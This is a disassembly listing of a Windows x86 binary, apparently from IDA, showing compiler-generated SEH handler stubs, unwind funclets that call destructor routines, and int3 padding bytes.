		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-40h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C9C4:				; DATA XREF: ___:00426EC2o
		mov	eax, offset dword_442960
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427740	proc near		; DATA XREF: sub_427740+2o
		mov	eax, offset dword_442A40
		jmp	sub_437AB8
SEH_427740	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CA28:				; DATA XREF: ___:00442A9Co
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4277B0	proc near		; DATA XREF: sub_4277B0+2o
		mov	eax, offset dword_442A70
		jmp	sub_437AB8
SEH_4277B0	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CA78:				; DATA XREF: ___:00442AECo
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427850	proc near		; DATA XREF: sub_427850+2o
		mov	eax, offset dword_442AC0
		jmp	sub_437AB8
SEH_427850	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427990	proc near		; DATA XREF: sub_427990+2o
		mov	eax, offset dword_442B10
		jmp	sub_437AB8
SEH_427990	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427C90	proc near		; DATA XREF: sub_427C90+2o
		mov	eax, offset dword_442B40
		jmp	sub_437AB8
SEH_427C90	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427D50	proc near		; DATA XREF: sub_427D50+2o
		mov	eax, offset dword_442B70
		jmp	sub_437AB8
SEH_427D50	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4281A0	proc near		; DATA XREF: sub_4281A0+2o
		mov	eax, offset dword_442BA0
		jmp	sub_437AB8
SEH_4281A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428260	proc near		; DATA XREF: sub_428260+2o
		mov	eax, offset dword_442BD0
		jmp	sub_437AB8
SEH_428260	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428880	proc near		; DATA XREF: sub_428880+2o
		mov	eax, offset dword_442C00
		jmp	sub_437AB8
SEH_428880	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428940	proc near		; DATA XREF: sub_428940+2o
		mov	eax, offset dword_442C30
		jmp	sub_437AB8
SEH_428940	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4290B0	proc near		; DATA XREF: sub_4290B0+2o
		mov	eax, offset dword_442C60
		jmp	sub_437AB8
SEH_4290B0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CBC8:				; DATA XREF: ___:00442CBCo
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429120	proc near		; DATA XREF: sub_429120+2o
		mov	eax, offset dword_442C90
		jmp	sub_437AB8
SEH_429120	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CC28:				; DATA XREF: ___:00442D14o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4291E0	proc near		; DATA XREF: sub_4291E0+2o
		mov	eax, offset dword_442CE8
		jmp	sub_437AB8
SEH_4291E0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_4017A8
; ---------------------------------------------------------------------------


loc_43CC88:				; DATA XREF: ___:00442D6Co
		mov	ecx, [ebp-28h]
		add	ecx, 0A1h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429450	proc near		; DATA XREF: sub_429450+2o
		mov	eax, offset dword_442D40
		jmp	sub_437AB8
SEH_429450	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-53ECh]
		jmp	sub_4014BA
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5490h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5474h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-528Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-525Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-537Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-522Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-545Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5444h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-541Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5404h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-534Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-531Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43CDB2:				; DATA XREF: ___:004295B8o
		mov	eax, offset dword_442D80
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 44h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42ACB0	proc near		; DATA XREF: sub_42ACB0+2o
		mov	eax, offset dword_442E68
		jmp	sub_437AB8
SEH_42ACB0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-10h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42AD90	proc near		; DATA XREF: sub_42AD90+2o
		mov	eax, offset dword_442E98
		jmp	sub_437AB8
SEH_42AD90	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42AFF0	proc near		; DATA XREF: sub_42AFF0+2o
		mov	eax, offset dword_442EC8
		jmp	sub_437AB8
SEH_42AFF0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B380	proc near		; DATA XREF: sub_42B380+2o
		mov	eax, offset dword_442EF8
		jmp	sub_437AB8
SEH_42B380	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B440	proc near		; DATA XREF: sub_42B440+8o
		mov	eax, offset dword_442F28
		jmp	sub_437AB8
SEH_42B440	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C1B0	proc near		; DATA XREF: sub_42C1B0+5o
		mov	eax, offset dword_442F58
		jmp	sub_437AB8
SEH_42C1B0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_43CEB0:				; DATA XREF: ___:0042C2C5o
		mov	eax, offset dword_442FB8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43CEC8:				; DATA XREF: ___:00443044o
		lea	ecx, [ebp+8]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1A0h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C350	proc near		; DATA XREF: sub_42C350+2o
		mov	eax, offset dword_443018
		jmp	sub_437AB8
SEH_42C350	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C530	proc near		; DATA XREF: sub_42C530+2o
		mov	eax, offset dword_443058
		jmp	sub_437AB8
SEH_42C530	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8
; ---------------------------------------------------------------------------


loc_43CF28:				; DATA XREF: ___:0042C5D2o
		mov	eax, offset dword_443088
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C770	proc near		; DATA XREF: sub_42C770+2o
		mov	eax, offset dword_4430B8
		jmp	sub_437AB8
SEH_42C770	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8
; ---------------------------------------------------------------------------
		mov	eax, offset dword_4430E8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42CB70	proc near		; DATA XREF: sub_42CB70+8o
		mov	eax, offset dword_443118
		jmp	sub_437AB8
SEH_42CB70	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42CE60	proc near		; DATA XREF: sub_42CE60+2o
		mov	eax, offset dword_443148
		jmp	sub_437AB8
SEH_42CE60	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-74h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-70h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43D0A4:				; DATA XREF: ___:0042D158o
		mov	eax, offset dword_4431A0
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_435AA0	proc near		; DATA XREF: sub_435AA0+2o
		mov	eax, offset dword_443288
		jmp	sub_437AB8
SEH_435AA0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-168Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43D10B:				; DATA XREF: ___:004432ECo
		lea	ecx, [ebp-16A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43D116:				; DATA XREF: ___:00435B98o
		mov	eax, offset dword_4432C0
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4364D0	proc near		; DATA XREF: sub_4364D0+2o
		mov	eax, offset dword_4432F8
		jmp	sub_437AB8
SEH_4364D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4368D0	proc near		; DATA XREF: sub_4368D0+2o
		mov	eax, offset dword_443328
		jmp	sub_437AB8
SEH_4368D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4369E0	proc near		; DATA XREF: sub_4369E0+8o
		mov	eax, offset dword_443360
		jmp	sub_437AB8
SEH_4369E0	endp

; ---------------------------------------------------------------------------
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
